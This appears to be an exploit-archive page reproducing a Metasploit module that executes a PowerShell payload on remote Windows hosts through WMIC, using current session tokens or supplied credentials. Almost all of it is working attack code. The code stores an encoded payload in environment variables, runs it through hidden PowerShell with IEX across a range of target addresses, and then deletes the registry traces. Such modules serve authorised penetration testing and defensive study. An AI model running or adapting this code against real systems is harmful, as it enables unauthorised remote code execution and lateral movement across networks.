Windows Management Instrumentation (WMI) Remote Command Execution

2013.10.23
Credit: Ben Campbell
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell def initialize(info={}) super( update_info( info, 'Name' => 'Windows Management Instrumentation (WMI) Remote Command Execution', 'Description' => %q{ This module executes powershell on the remote host using the current user credentials or those supplied. Instead of using PSEXEC over TCP port 445 we use the WMIC command to start a Remote Procedure Call on TCP port 135 and an ephemeral port. Set ReverseListenerComm to tunnel traffic through that session. The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash. We do not get feedback from the WMIC command so there are no indicators of success or failure. The remote host must be configured to allow remote Windows Management Instrumentation. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '15', }, 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), OptString.new('SMBPass', [ false, 'The password for the specified username' ]), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]), # Move this out of advanced OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']) ]) end def exploit if datastore['SMBUser'] and datastore['SMBPass'].nil? fail_with(Failure::BadConfig, "Need both username and password set.") end Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| # TODO: CHECK WMIC Access by reading the clipboard? # TODO: wmic /output:clipboard # TODO: Needs to be meterpreter ext side due to threading # Get the PSH Payload and split it into bitesize chunks # 1024 appears to be the max value allowed in env vars psh = cmd_psh_payload(payload.encoded).gsub("\r\n","") psh = psh[psh.index("$si")..psh.length-1] chunks = split_code(psh, 1024) begin print_status("[#{server}] Storing payload in environment variables") env_name = rand_text_alpha(rand(3)+3) env_vars = [] 0.upto(chunks.length-1) do |i| env_vars << "#{env_name}#{i}" c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" wmic_command(server, c) end x = rand_text_alpha(rand(3)+3) exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" env_vars.each do |env| exec_cmd << "+$env:#{env}" end exec_cmd << ";IEX $#{x};" print_status("[#{server}] Executing payload") wmic_command(server, exec_cmd) print_status("[#{server}] Cleaning up environment variables") env_vars.each do |env| cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" wmic_command(server, cleanup_cmd) end rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") next ensure select(nil,nil,nil,2) end end end def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass']) userpass = "" unless user.nil? if domain.nil? userpass = "/user:\"#{user}\" /password:\"#{pass}\" " else userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" " end end return userpass end def wmic_command(server, cmd) wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\"" vprint_status("[#{server}] #{wcmd}") # We dont use cmd_exec as WMIC cannot be Channelized ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false}) select(nil,nil,nil,0.1) end def split_code(psh, chunk_size) array = [] idx = 0 while (idx < psh.length) array << psh[idx, chunk_size] idx += chunk_size end return array end end

References:

http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html


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